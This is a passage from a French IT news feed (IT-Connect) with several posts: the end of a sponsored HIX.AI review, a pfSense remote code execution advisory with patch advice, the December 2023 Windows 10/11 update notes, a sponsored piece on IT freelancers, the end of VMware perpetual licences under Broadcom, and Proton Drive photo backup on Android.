<figure class="wp-block-image size-full"><img decoding="async" width="800" height="754" src="media/f3d1bc30.HIX.AI-Resumer-et-analyser-un-fichier-Word.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word.jpg" alt="" class="wp-image-73371" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word-550x518.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word-150x141.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word-768x724.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Resumer-et-analyser-un-fichier-Word-50x47.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">IV. Les abonnements HIX.AI</h2>



<p><strong>Vous pouvez tester HIX.AI et l'utiliser gratuitement (sans avoir à saisir vos numéros de carte bancaire !)</strong>. Toutefois, vous avez<strong> une limite dans l'utilisation de chaque outil.</strong> </p>



<p>Par exemple, la version gratuite de l'outil AI Writer est limitée à 4 000 mots par mois, tandis que la version gratuite d'ArticleGPT est limitée à 1 article par mois. Dans tous les cas, la version gratuite se limite au modèle de langage GPT-3.5, comme ChatGPT.</p>



<p>L'abonnement payant, <strong>à partir de 4.99 dollars par mois</strong> (avec un engagement annuel) donne accès à des fonctionnalités supplémentaires pour certains outils, mais il permet surtout d'avoir un quota de mots/d'articles plus élevé. Pour avoir accès au <strong>modèle de langage GPT-4</strong>, il faut payer un peu plus cher : à partir de <strong>9.99 dollars par mois</strong>, pour 20 000 mots par mois.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/fdf871bd.HIX.AI-Abonnements-gratuit-et-payant.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant.png"><img decoding="async" width="783" height="742" data-id="73158" src="media/fdf871bd.HIX.AI-Abonnements-gratuit-et-payant.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant.png" alt="" class="wp-image-73158" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant.png 783w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-550x521.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-150x142.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-768x728.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-50x47.png 50w" sizes="(max-width: 783px) 100vw, 783px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/92193c07.HIX.AI-Abonnements-gratuit-et-payant-GPT-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4.png"><img decoding="async" width="783" height="742" data-id="73160" src="media/92193c07.HIX.AI-Abonnements-gratuit-et-payant-GPT-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4.png" alt="" class="wp-image-73160" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4.png 783w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4-550x521.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4-150x142.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4-768x728.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Abonnements-gratuit-et-payant-GPT-4-50x47.png 50w" sizes="(max-width: 783px) 100vw, 783px" /></a></figure>
</figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>Déjà très complet, le service HIX.AI continue de s'étoffer au fil des mois et de nouveaux outils sont déjà prévus ! Grâce à la centaine d'outils à notre disposition, il est clair que nous pouvons gagner du temps notamment car on va pouvoir obtenir des idées de textes, des idées de tournures de phrases, en quelques secondes. L'idée étant de pouvoir générer du contenu facilement et rapidement, afin de pouvoir avoir une base à exploiter ! </p>



<p>Même si l'outil peut aussi générer des articles prêts à l'emploi et que l'on pourrait diffuser en l'état (<em>tout dépend de la qualité attendue</em>), personnellement je préfère écrire les articles "à ma façon" et utiliser l'IA pour avoir, en quelque sorte, un avis extérieur. Derrière HIX.AI, il y a un vrai potentiel !</p>



<p><strong>Pour tester HIX.AI dès maintenant, vous pouvez utiliser ce lien :</strong></p>



<ul>
<li><a href="https://hix.ai/?c=V8Z740" target="_blank" rel="noopener nofollow" title="">Tester la plateforme HIX.AI gratuitement</a></li>
</ul>



<p><em>Cet article contient une communication commerciale.</em></p><p>The post <a href="https://www.it-connect.fr/presentation-dhix-ai-une-solution-de-redaction-tout-en-un-propulsee-par-lia/">Présentation d’HIX.AI, une solution de rédaction tout-en-un propulsée par l’IA</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73464
title: Environ 1 500 firewalls pfSense vulnérables à une exécution de code à distance !
uri: Environ-1-500-firewalls-pfSense-vulnérables-à-une-exécution-de-code
url:
https://www.it-connect.fr/environ-1-500-firewalls-pfsense-vulnerables-a-une-execution-de-code-a-distance/

content:
<p><strong>Un nouveau rapport de sécurité fait état d'environ 1 500 firewalls pfSense exposés sur Internet et vulnérables à plusieurs failles de sécurité qui peuvent permettre à un attaquant d'exécuter du code à distance sur le système ! Faisons le point.</strong></p>



<p>Pour rappel, pfSense est un pare-feu open source populaire disponible en version communautaire gratuite (CE) mais également en version payante (pfSense Plus). Il présente l'avantage d'être personnalisable grâce à l'installation de paquets supplémentaires, ce qui lui permet de bénéficier de fonctionnalités que l'on retrouve dans les produits commerciaux beaucoup plus onéreux.</p>



<p>Les chercheurs en sécurité de SonarSource ont mis en ligne <a href="https://www.sonarsource.com/blog/pfsense-vulnerabilities-sonarcloud/" target="_blank" rel="noopener nofollow" title="">un nouveau rapport de sécurité</a> au sujet de <strong>trois failles de sécurité</strong> présentes dans <strong>plusieurs versions de pfSense CE et pfSense Plus</strong> : <strong>CVE-2023-42325, CVE-2023-42327 et CVE-2023-42326</strong>. <em><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-reseau/pare-feu/pfsense/" target="_blank" rel="noopener" title="pfSense" data-wpil-keyword-link="linked">pfSense</a> CE 2.7.0 et les versions inférieures, pfSense Plus 23.05.1 et les versions inférieures sont vulnérables à deux vulnérabilités XSS et à une vulnérabilité d'injection de commande.</em>", peut-on lire sur leur site.</p>



<p>Grâce à <strong>cet ensemble de vulnérabilités</strong>, un attaquant pourrait <strong>créer une chaine d'exploitation </strong>lui permettant d'<strong>exécuter du code arbitraire à distance sur le firewall pfSense</strong>. "<em>Un attaquant peut inciter un utilisateur de pfSense authentifié à cliquer sur un lien malveillant contenant une charge utile XSS qui exploite la vulnérabilité d'injection de commande.</em>", précisent les chercheurs en sécurité. Pour que l'opération fonctionne,<strong> l'utilisateur authentifié auprès du serveur pfSense doit avoir des privilèges d'administration.</strong></p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Pour vous protéger de ces failles de sécurité, au-delà de ne pas rendre accessible le firewall pfSense publiquement, vous devez utiliser <strong>pfSense CE 2.7.1</strong> et <strong>pfSense Plus 23.09</strong>. </p>



<p>En effet, Netgate, l'éditeur pfSense, a connaissance de ces failles de sécurité depuis le 3 juillet 2023 et des mises à jour de sécurité ont été publiées en novembre 2023 : le 6 novembre pour pfSense Plus 23.09 et le 16 novembre pour pfSense CE 2.7.1.</p>



<p>À l'heure actuelle, et d'après les résultats d'une recherche sur Shodan, il y aurait environ 1 500 firewalls pfSense vulnérables directement accessibles sur Internet. La majorité de ces instances vulnérables sont situées au Brésil (358) et aux États-Unis (196), mais il y en a également quelques-unes en France (87).</p>



<p><a href="https://www.bleepingcomputer.com/news/security/over-1-450-pfsense-servers-exposed-to-rce-attacks-via-bug-chain/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/environ-1-500-firewalls-pfsense-vulnerables-a-une-execution-de-code-a-distance/">Environ 1 500 firewalls pfSense vulnérables à une exécution de code à distance !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73452
title: KB5033375 : le point sur la mise à jour Windows 11 de décembre 2023
uri: KB5033375-le-point-sur-la-mise-à-jour-Windows-11-de-décembre-2023
url: https://www.it-connect.fr/windows-11-kb5033375-mise-a-jour-decembre-2023/
content:
<p><strong>La mise à jour KB5033375 est disponible pour les machines Windows 11 en version 23H2 et 22H2 ! Voyons quels sont les changements apportés par Microsoft pour cette dernière update de l'année 2023...</strong></p>



<p>Le changement le plus important, mais qui ne profite pas directement aux utilisateurs européens, c'est <strong>l'amélioration de l'intégration de Microsoft Copilot dans Windows 11</strong>. En effet, Microsoft a ajouté la <strong>prise en charge des installations avec plusieurs écrans</strong> : "<em>Appuyez sur le bouton <em>Copilot </em>dans la barre des tâches de l'écran sur lequel vous souhaitez que Copilot apparaisse.</em>", peut-on lire sur le site de Microsoft. </p>



<p>Par ailleurs, <strong>Microsoft a ajouté la prise en charge de Copilot dans l'interface "Alt+Tab"</strong>. En effet, lorsque vous appuyez sur la combinaison de touches Alt+Tab, l'aperçu de Copilot apparaîtra parmi les aperçus des autres fenêtres ouvertes. Microsoft précise également que cette mise à jour va commencer à <strong>activer les notifications liées aux comptes Microsoft</strong>, directement au sein de Windows 11.</p>



<p>Voici les autres changements importants apportés par Microsoft, notamment les bugs corrigés :</p>



<ul>
<li>Améliorer la vitesse d'ouverture de <em>Copilot in Windows </em>à partir de la barre des tâches.</li>



<li>Résoudre un problème concernant l'icône de Copilot dans la barre des tâches. Il n'apparaît pas comme actif lorsque Copilot est ouvert.</li>



<li>Cette mise à jour corrige plusieurs problèmes liés au mode IE, ce dernier ne répond plus lorsque l'un de ces problèmes se produit.</li>



<li>Ajustement de l'éclairage dynamique dans le but de réduire la quantité d'énergie consommée par votre appareil.</li>



<li>Cette mise à jour corrige un problème susceptible d'affecter le curseur lorsque vous écrivez en japonais. Le curseur peut se déplacer à un endroit inattendu.</li>



<li>Cette mise à jour résout un problème affectant le curseur. Son mouvement est retardé dans certains scénarios de capture d'écran.</li>



<li>Cette mise à jour corrige un problème affectant le badge de notification des widgets. Il est mal positionné dans la barre des tâches.</li>



<li>Correction d'un problème qui affecte les applications téléchargées à partir du Microsoft Store : elles arrêtent de fonctionner et ne se mettent pas à jour.</li>



<li>Améliorer les performances du menu contextuel lorsque vous l'ouvrez sur le bureau et dans l'explorateur de fichiers.</li>



<li>Résoudre un problème avec le Narrateur qui ne s'ouvre pas sur l'écran d'installation (lorsque vous installez Windows).</li>
</ul>



<p>Microsoft a également corrigé plusieurs bugs dans l'Explorateur de fichiers :</p>



<ul>
<li>Lorsque vous appuyez sur MAJ + F10, le menu contextuel ne s'ouvre pas.</li>



<li>Lorsque vous ne vous y attendez pas, les fenêtres de l'Explorateur de fichiers apparaissent au premier plan.</li>



<li>Les options du volet de gauche de l'Explorateur de fichiers affichent un état incorrect.</li>
</ul>



<p>Tous les détails sont disponibles sur <a href="https://support.microsoft.com/en-us/topic/december-4-2023-kb5032288-os-builds-22621-2792-and-22631-2792-preview-538fbe4a-e9de-4312-85cd-d870444341d0" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<h2 class="wp-block-heading">Windows 11 : les mises à jour de décembre 2023</h2>



<p>En résumé, voici la liste des mises à jour Windows 11 pour décembre 2023 :</p>



<ul>
<li><strong>Windows 11 23H2, Windows 11 22H2</strong>: <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033375-os-builds-22621-2861-and-22631-2861-90f983aa-efb6-4caa-9cab-7e5cfa00ed36" target="_blank" rel="noopener nofollow" title="">KB5033375</a></li>



<li><strong>Windows 11 21H2 </strong>: <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033369-os-build-22000-2652-b69fad53-d61b-4ed6-898e-1ae6a17dfd13" target="_blank" rel="noopener nofollow" title="">KB5033369</a></li>
</ul>



<p>Les KB mentionnées pour Windows 11 ci-dessus sont disponibles via les canaux habituels, comme Windows Update, WSUS, etc. Sur une machine en local, une recherche à partir de Windows Update permettra de récupérer la nouvelle mise à jour.</p>



<p>Retrouvez plus d'informations sur le Patch Tuesday et la mise à jour Windows 10 dans cet article : </p>



<ul>
<li><a href="https://www.it-connect.fr/patch-tuesday-decembre-2023-34-vulnerabilites-corrigees-et-une-faille-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Décembre 2023 : 34 vulnérabilités corrigées et une faille zero-day">Microsoft Patch Tuesday de Décembre 2023</a></li>



<li><a href="https://www.it-connect.fr/windows-10-kb5033372-mise-a-jour-decembre-2023/" target="_blank" rel="noopener" title="">Mise à jour Windows 10 de Décembre 2023</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/windows-11-kb5033375-mise-a-jour-decembre-2023/">KB5033375 : le point sur la mise à jour Windows 11 de décembre 2023</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73457
title: KB5033372 : le point sur la mise à jour Windows 10 de décembre 2023
uri: KB5033372-le-point-sur-la-mise-à-jour-Windows-10-de-décembre-2023
url: https://www.it-connect.fr/windows-10-kb5033372-mise-a-jour-decembre-2023/
content:
<p><strong>Si vous utilisez encore Windows 10, sachez que Microsoft a libéré les dernières mises à jour de l'année 2023 pour plusieurs versions de ce système d'exploitation. La mise à jour KB5033372 s'adresse directement à Windows 10 21H2 et 22H2 ! Faisons le point sur les changements.</strong></p>



<p>La nouveauté principale, et elle n'est pas anodine, c'est <strong>l'ajout de l'assistant IA Microsoft Copilot à Windows 10</strong>. Déjà disponible au travers d'une mise à jour optionnelle, Copilot est désormais déployé auprès de tous les utilisateurs. J'en profite pour vous rappeler une fois de plus qu'en Europe nous ne pouvons pas encore en profiter (<em>à moins de changer la région sur sa machine</em>). Comme sur Windows 11, il prend place dans la barre des tâches du système d'exploitation.</p>



<p>Au-delà des correctifs de sécurité inclus à cette mise à jour, Microsoft a apporté plusieurs changements à Windows 10 comme le montre <a href="https://support.microsoft.com/en-us/topic/november-30-2023-kb5032278-os-build-19045-3758-preview-0ae14f06-577e-4eb3-8fcb-c722f3f9dc29" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<ul>
<li>La fonction "<strong>Actualités et centres d'intérêt</strong>" de Windows 10 est désormais plus grande ! Vous pourrez ainsi l'utiliser plus efficacement et afficher les contenus qui vous intéressent le plus de façon plus confortable.</li>



<li>Dans<strong> les paramètres de Windows Update</strong> (Paramètres > Mise à jour et sécurité > Windows Update), Microsoft a ajouté l'option "<strong>Recevez les dernières mises à jour dès qu'elles sont disponibles</strong>" que l'on retrouve déjà sur Windows 11. Elle permet d'installer toutes les mises à jour, y compris celles optionnelles, dès qu'elles sont disponibles. "<em>Si vous utilisez des appareils grand public Famille ou Pro ou des appareils professionnels non gérés, vous pouvez bénéficier de certaines des nouvelles expériences dès qu'elles sont prêtes.</em>", précise Microsoft.</li>
</ul>



<p>En ce qui concerne les principaux bugs corrigés, voici la liste :</p>



<ul>
<li>Cette mise à jour résout un problème qui fait que le mode IE ne répond plus lorsque plusieurs onglets du mode IE sont ouverts.</li>



<li>Cette mise à jour corrige un problème affectant le curseur : son mouvement est retardé dans certains scénarios de capture d'écran.</li>



<li>Cette mise à jour corrige un problème affectant le clavier tactile. Il se peut qu'il n'apparaisse pas pendant l'expérience OOBE (initialisation du système).</li>
</ul>



<p>Par ailleurs, cette mise à jour corrige un bug affectant Windows LAPS : "<em>Cette mise à jour résout un problème qui affecte Windows LAPS. Sa stratégie PasswordExpirationProtectionEnabled n'active pas le paramètre.</em>"</p>



<h2 class="wp-block-heading">Windows 10 : les KB de Décembre 2023</h2>



<p>Voici la liste des nouvelles mises à jour publiées par Microsoft :</p>



<ul>
<li><strong>Windows 10 21H2 et 22H2 : <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033372-os-builds-19044-3803-and-19045-3803-9cea61c6-072b-41f1-8cf2-7c7bfdd12d5c" target="_blank" rel="noopener nofollow" title="">KB5033372</a></strong></li>



<li>Windows 10 version 21H1 : Fin du support</li>



<li>Windows 10 version 20H2 : Fin du support</li>



<li>Windows 10 version 2004 : Fin du support</li>



<li>Windows 10 version 1909 : Fin du support</li>



<li>Windows 10 version 1903 : Fin du support</li>



<li><strong>Windows 10 version 1809 : <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033371-os-build-17763-5206-aeb26a0a-536b-4bf8-9f5a-2749f4ba71fc" target="_blank" rel="noopener nofollow" title="">KB5033371</a></strong></li>



<li>Windows 10 version 1803 : Fin du support</li>



<li>Windows 10 version 1709 : Fin du support</li>



<li>Windows 10 version 1703 : Fin du support</li>



<li><strong>Windows 10 version 1607 : <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033373-os-build-14393-6529-29226794-12f4-45c5-a92e-ac1ab570e41d" target="_blank" rel="noopener nofollow" title="">KB5033373</a></strong></li>



<li><strong>Windows 10 version 1507 : <a href="https://support.microsoft.com/en-us/topic/december-12-2023-kb5033379-os-build-10240-20345-03a11f29-fc6c-47ca-8143-af8e2641033f" target="_blank" rel="noopener nofollow" title="">KB5033379</a></strong></li>
</ul>



<p>Ces mises à jour sont disponibles via les canaux habituels (WSUS, Windows Update, etc.).</p>



<p>D'autres articles sur le sujet :</p>



<ul>
<li><a href="https://www.it-connect.fr/patch-tuesday-decembre-2023-34-vulnerabilites-corrigees-et-une-faille-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Décembre 2023 : 34 vulnérabilités corrigées et une faille zero-day">Microsoft Patch Tuesday de Décembre 2023</a></li>



<li><a href="https://www.it-connect.fr/windows-11-kb5033375-mise-a-jour-decembre-2023/" target="_blank" rel="noopener" title="">Mise à jour Windows 11 de Décembre 2023</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/windows-10-kb5033372-mise-a-jour-decembre-2023/">KB5033372 : le point sur la mise à jour Windows 10 de décembre 2023</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73489
title: Pourquoi et commencer trouver un freelance informatique ?
uri: Pourquoi-et-commencer-trouver-un-freelance-informatique
url: https://www.it-connect.fr/pourquoi-et-commencer-trouver-un-freelance-informatique/
content:
<p><strong>En France, les organisations sont de plus en plus nombreuses à solliciter des travailleurs indépendants pour travailler sur un projet spécifique ou pour répondre à un besoin de renfort sur une courte période. Dans cet article, découvrez comment et pourquoi faire appel à des freelances informatiques !</strong></p>



<p>Chaque année, de plus en plus de personnes quittent leur emploi pour se lancer dans le <em>freelancing</em>. Le secteur de l'informatique est l'un des principaux secteurs concernés par cette tendance. En effet, d'après quelques chiffres clés issus de plusieurs études réalisées en 2023 (voir <a href="https://tool-advisor.fr/blog/chiffres-freelance/" target="_blank" rel="noopener nofollow" title="">cette page</a>), en France, environ <strong>un tiers des freelances travailleraient dans le domaine de l'informatique </strong>et de la data. </p>



<p>Au quotidien c'est un véritable défi, car le fait d'être freelance informatique vous oblige à trouver de nouvelles missions, à créer votre portefeuille de clients et à développer votre notoriété pour pérenniser votre activité. À l'inverse, l'indépendance est appréciable pour avoir un meilleur équilibre de vie entre vie personnelle et vie professionnelle, notamment grâce au télétravail, à la liberté de travailler d'où l'on souhaite et à une gestion plus flexible des horaires.</p>



<h2 class="wp-block-heading">Pourquoi faire appel à un freelance informatique ?</h2>



<p>Chaque <a href="https://www.it-connect.fr/comment-devenir-freelance-informatique/" target="_blank" rel="noopener" title="Comment devenir freelance informatique ?">freelance informatique</a> dispose d’un "CV unique" qui est le reflet de ses compétences, de son expérience et des missions auxquelles il a pu participer. Ainsi, les organisations qui ont un besoin sur un projet spécifique ou sur une technologie précise pourront se tourner vers un freelance ayant les compétences et l'expérience nécessaires pour mener à bien cette mission. L'expertise et la productivité sont deux avantages associés à la sollicitation d'un freelance.</p>



<p>Ceci apporte également une certaine flexibilité, car un freelance peut travailler sur un projet spécifique ou pendant une courte période, sans engagement à long terme. Autrement dit, c'est moins contraignant que d'employer un nouveau salarié au sein de l'entreprise.  De plus, en général, embaucher un freelance peut être plus économique que d'embaucher un employé à temps plein, surtout si le besoin est temporaire ou associé à l'un de vos projets.</p>



<p>Par ailleurs, lorsque vous sollicitez un freelance, il y a une notion de relation "client<em> prestataire</em>" qui entre en ligne de compte et qui est importante. En principe, le freelance veut réaliser un travail de qualité, ce qui commence par mener à bien la mission qui lui est confiée (<em>mais ceci ne dépend pas que de lui</em>), notamment pour satisfaire son client et bonifier sa réputation.</p>



<h2 class="wp-block-heading">Comment trouver un freelance informatique ?</h2>



<p>Si vous êtes convaincu, il vous restera à choisir votre freelance ! Pour cela, vous pouvez compter sur ce que l'on appelle une "<a href="https://www.freelance-informatique.fr/actualites/plateforme-freelance-comment-choisir-son-site-de-freelances-et-sur-quels-criteres" title="">Plateforme Freelance</a>", il en existe plus d'une dizaine pour le marché francophone. À ce sujet, le lien ci-dessus vous mènera vers un article intitulé "<em>Les 10 meilleures plateformes freelance en 2023</em>". Ces plateformes sont utiles à la fois pour les organisations et les freelances, car elles facilitent la mise en relation, la recherche de freelances et la recherche de missions.</p>



<p>Avant de choisir un freelance, vous devez<strong> identifier les compétences spécifiques dont vous avez besoin</strong>. Ceci vous permettra de déterminer si vous avez plutôt besoin d'un développeur de logiciels, d'un administrateur système ou d'un spécialiste en <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/securite-informatique/" target="_blank" rel="noopener" title="sécurité informatique" data-wpil-keyword-link="linked">sécurité informatique</a>. Par ailleurs, vous devez<strong> déterminer votre budget </strong>afin de pouvoir vérifier si le coût total du projet, basé sur le taux journalier moyen (TJM) du freelance, est conforme au budget prévu. L'autre élément important, c'est<strong> le planning</strong> afin de pouvoir déterminer si le freelance est disponible pour travailler selon vos horaires et délais.</p>



<p>Maintenant, c'est à vous de jouer ! Je suis moi-même freelance, donc n'hésitez pas à me contacter (en fonction de vos besoins) ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em>Article sponsorisé</em></p><p>The post <a href="https://www.it-connect.fr/pourquoi-et-commencer-trouver-un-freelance-informatique/">Pourquoi et commencer trouver un freelance informatique ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73554
title: VMware abandonne les licences perpétuelles pour passer à un système d’abonnements !
uri: VMware-abandonne-les-licences-perpétuelles-pour-passer-à-un-système
url: https://www.it-connect.fr/broadcom-vmware-fin-licences-perpetuelles-abonnements/
content:
<p><strong>Un changement très important vient d'être officialisé par Broadcom, nouveau propriétaire de VMware : les licences perpétuelles, c'est terminé ! Désormais, les licences seront proposées sous la forme d'un abonnement ! Voici ce qu'il faut savoir.</strong></p>



<p>Fin novembre, <a href="https://www.it-connect.fr/broadcom-officialise-le-rachat-de-vmware-et-le-reorganise-en-4-entites/" target="_blank" rel="noopener" title="Broadcom officialise le rachat de VMware et le réorganise en 4 entités !">Broadcom a finalisé l'acquisition du géant VMware pour 61 milliards de dollars</a>. Comme on pouvait s'y attendre, Broadcom commence à opérer de ses premiers changements au sein de l'entreprise que l'on appelle désormais "<strong>VMware by Broadcom</strong>".</p>



<p>Pour commencer, Broadcom s'attaque à la simplification de l'offre et à des changements sur les tarifs et le mode de licensing. En effet, depuis le 11 décembre 2023, il n'est plus possible d'acheter une licence perpétuelle !</p>



<p>Broadcom annonce qu'il n'y aura plus que deux produits principaux : VMware <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> Foundation pour les infrastructures Cloud hybrides sur des environnements à grandes échelles, et VMware vSphere Foundation destiné aux environnements de petite et moyenne taille. </p>



<p>Il est important de préciser sur <strong>les solutions vSphere Standard et vSphere Essentials Plus seront toujours commercialisées</strong>, notamment pour les déploiements avec des exigences plus limitées. Des modules complémentaires seront disponibles pour la suite Aria, pour Private AI (bientôt disponible), ou encore pour vSAN.</p>



<h2 class="wp-block-heading">L'abandon des licences perpétuelles, au profit des abonnements</h2>



<p>Si vous avez actuellement des licences perpétuelles, sachez que Broadcom va prévoir un système d'échange pour inciter les entreprises à passer sur l'offre par abonnements. Pour que ce soit attractif, cette offre sera associée à <strong>d'importantes remises tarifaires</strong>. Pour le moment, nous ignorons le tarif de base des nouveaux abonnements.</p>



<p>Broadcom a précisé que les licences perpétuelles achetées auparavant pourront toujours être utilisées et que les contrats de "<em>Support and Subscription</em>" (SnS) seront honorés jusqu'à leur terme. Toutefois, leur renouvellement ne sera pas possible.</p>



<p>La fin des licences perpétuelles risque de <strong>provoquer du mécontentement chez certains DSI</strong>... Désormais, il va falloir s'adapter à ce nouveau mode de licensing que VMware est en train de déployer. De son côté, Krish Prasad, responsable de la division Cloud Foundation de VMware précise : « <em>VMware estime qu'un modèle d'abonnement apporte à nos clients l'innovation et la flexibilité dont ils ont besoin pour entreprendre leur transformation numérique </em>».</p>



<p><a href="https://www.lemondeinformatique.fr/actualites/lire-broadcom-elimine-les-licences-perpetuelles-de-vmware-92419.html" target="_blank" rel="noopener nofollow" title="">Source</a></p>



<p> </p><p>The post <a href="https://www.it-connect.fr/broadcom-vmware-fin-licences-perpetuelles-abonnements/">VMware abandonne les licences perpétuelles pour passer à un système d’abonnements !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73559
title: Proton Drive pour Android bénéficie de la sauvegarde automatique de vos photos dans le Cloud !
uri: Proton-Drive-pour-Android-bénéficie-de-la-sauvegarde-automatique-de
url: https://www.it-connect.fr/proton-drive-android-sauvegarde-automatique-photos-smartphone/
content:
<p><strong>Le service de stockage Cloud Proton Drive bénéficie d'une nouveauté pour ses utilisateurs sous Android : la possibilité de sauvegarder automatiquement leurs photos dans Proton Drive.</strong></p>



<p>Pour rappel, Proton est une société suisse à l'origine du service de messagerie sécurisé Proton Mail, désormais accompagné par d'autres services comme Proton VPN, Proton Drive ou encore Proton Pass. L'objectif de Proton Drive est de proposer un service de stockage de fichiers sécurisé et respectueux de la vie privée.</p>



<p>L'application <strong>Proton Drive pour Android</strong> vient d'accueillir une nouvelle fonctionnalité intéressante pour ses utilisateurs : la possibilité de <strong>stocker et sauvegarder <strong>automatiquement </strong>les photos de votre smartphone ou votre tablette directement dans le <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> de Proton Drive</strong>. La <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/sauvegarde/" target="_blank" rel="noopener" title="sauvegarde" data-wpil-keyword-link="linked">sauvegarde</a> est effectuée à l'aide du <strong>chiffrement bout en bout</strong>, ce qui signifie que même Proton ne peut pas accéder aux photos des utilisateurs. En fait, les données sont chiffrées avant d'être envoyées sur les serveurs de Proton.</p>



<p>"<em>Avec la sauvegarde photos dans Proton Drive, les utilisateurs ne manqueront jamais d’espace de stockage, et pourront accéder aux photos de tous leurs appareils en un seul et même endroit. Contrairement aux autres services de stockage cloud disponibles sur le marché, l’utilisation du chiffrement de bout en bout de Proton Drive garantit que les photos des utilisateurs sont privées et ne peuvent pas être divulguées, même dans le cas peu probable où Proton Drive lui-même subirait une attaque.</em>", précise Andy Yen, fondateur de Proton.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="441" src="media/12170b33.Proton-Drive-pour-Android-Backup-auto-des-photos.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos.jpg" alt="" class="wp-image-73561" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos-550x303.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos-150x83.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos-768x423.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Proton-Drive-pour-Android-Backup-auto-des-photos-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



